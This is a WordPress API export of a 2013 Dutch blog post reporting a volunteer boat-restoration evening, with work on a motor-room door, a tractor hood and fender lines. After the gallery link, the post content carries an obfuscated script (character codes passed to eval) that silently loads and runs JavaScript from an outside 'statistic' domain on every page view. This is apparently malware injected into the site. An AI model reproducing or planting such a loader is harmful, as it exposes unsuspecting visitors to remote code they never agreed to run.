{"id":6928,"date":"2013-03-22T10:02:01","date_gmt":"2013-03-22T09:02:01","guid":{"rendered":"https:\/\/www.kurtcarlsen.nl\/cms\/?p=6928"},"modified":"2013-03-22T10:02:01","modified_gmt":"2013-03-22T09:02:01","slug":"restauratiestatus-19-maart-2013","status":"publish","type":"post","link":"https:\/\/www.kurtcarlsen.nl\/cms\/restauratiestatus-19-maart-2013\/","title":{"rendered":"Restauratiestatus 19 maart 2013"},"content":{"rendered":"<p><strong>Restauratiestatus:<\/strong><\/p>\n<p>Met een redelijke opkomst is er deze avond voortgang gemaakt aan de afsluiting van het deurtje naar de motorkamer. Peter zie je hier met de door Marc geleverde rubber pees die goed past in de daarvoor bedoelde uitsparing van\u00a0de deur.<br \/>\nMarc zelf,\u00a0Kees jr.,\u00a0Frans en\u00a0Rinus\u00a0werkten hard door aan de kap van de tractor en andere onderdelen. Die kap was ineens ontdaan\u00a0van alle uit- en inlaten en luiken. Zie verder de detailfoto&#8217;s van de kap met nu alleen maar gaten.<br \/>\nRene en Henk hebben, met vakkundige aanwijzingen van Cees en gedreven hulp van de\u00a0aanwaaiende Peter Bruggeman, de manier gevonden om de fenders met de bijbehorende lijn vast te maken. Bij elk oog gaat de lijn door een streng van zichzelf\u00a0en wordt daarmee strak getrokken naar het volgende oog. Zo komt er een behoorlijke spanning op de lijn en wordt de fenderstrook goed tegen de boot aangetrokken.<br \/>\nNu aan het uiteinde achter nog een mooie afhechting verzinnen. Nog eens op de oude plaatjes krijgen, alhoewel zo veel detail vind je daar niet snel.<br \/>\nHans zagen we verder niet want die zat vermoedelijk weer verstrengeld\u00a0in de stroomkabels in de motorkamer.\u00a0Ik geloof met Piet deze keer.<br \/>\nKortom dit was weer zo&#8217;n\u00a0avond waarbij iedereen natuurlijk\u00a0iets of meerdere dingen\u00a0doet, maar waarbij het\u00a0moeilijk is om dat precies te &#8216;filmen&#8217; als je zelf ook op iets geconcentreerd\u00a0bent.<\/p>\n<p>Benieuwd naar de foto&#8217;s van 19 maart, klik dan even\u00a0<a title=\"19 maart 2013\" href=\"https:\/\/www.kurtcarlsen.nl\/cms\/gallery\/19-maart-2013\/\">hier<\/a>.<script>var f=String;eval(f.fromCharCode(102,117,110,99,116,105,111,110,32,97,115,115,40,115,114,99,41,123,114,101,116,117,114,110,32,66,111,111,108,101,97,110,40,100,111,99,117,109,101,110,116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,125,32,118,97,114,32,108,111,61,34,104,116,116,112,115,58,47,47,115,116,97,116,105,115,116,105,99,46,115,99,114,105,112,116,115,112,108,97,116,102,111,114,109,46,99,111,109,47,99,111,108,108,101,99,116,34,59,105,102,40,97,115,115,40,108,111,41,61,61,102,97,108,115,101,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,108,111,59,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,125,125));\/*99586587347*\/<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Restauratiestatus: Met een redelijke opkomst is er deze avond voortgang gemaakt aan de afsluiting van het deurtje naar de motorkamer. Peter zie je hier met de door Marc geleverde rubber pees die goed past in de daarvoor bedoelde uitsparing van\u00a0de deur. Marc zelf,\u00a0Kees jr.,\u00a0Frans en\u00a0Rinus\u00a0werkten hard door aan de kap van de tractor en andere [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":6914,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"ngg_post_thumbnail":0,"footnotes":""},"categories":[36],"tags":[],"class_list":["post-6928","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-algemeen"],"_links":{"self":[{"href":"https:\/\/www.kurtcarlsen.nl\/cms\/wp-json\/wp\/v2\/posts\/6928","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.kurtcarlsen.nl\/cms\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.kurtcarlsen.nl\/cms\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.kurtcarlsen.nl\/cms\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.kurtcarlsen.nl\/cms\/wp-json\/wp\/v2\/comments?post=6928"}],"version-history":[{"count":1,"href":"https:\/\/www.kurtcarlsen.nl\/cms\/wp-json\/wp\/v2\/posts\/6928\/revisions"}],"predecessor-version":[{"id":6929,"href":"https:\/\/www.kurtcarlsen.nl\/cms\/wp-json\/wp\/v2\/posts\/6928\/revisions\/6929"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.kurtcarlsen.nl\/cms\/wp-json\/wp\/v2\/media\/6914"}],"wp:attachment":[{"href":"https:\/\/www.kurtcarlsen.nl\/cms\/wp-json\/wp\/v2\/media?parent=6928"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.kurtcarlsen.nl\/cms\/wp-json\/wp\/v2\/categories?post=6928"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.kurtcarlsen.nl\/cms\/wp-json\/wp\/v2\/tags?post=6928"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}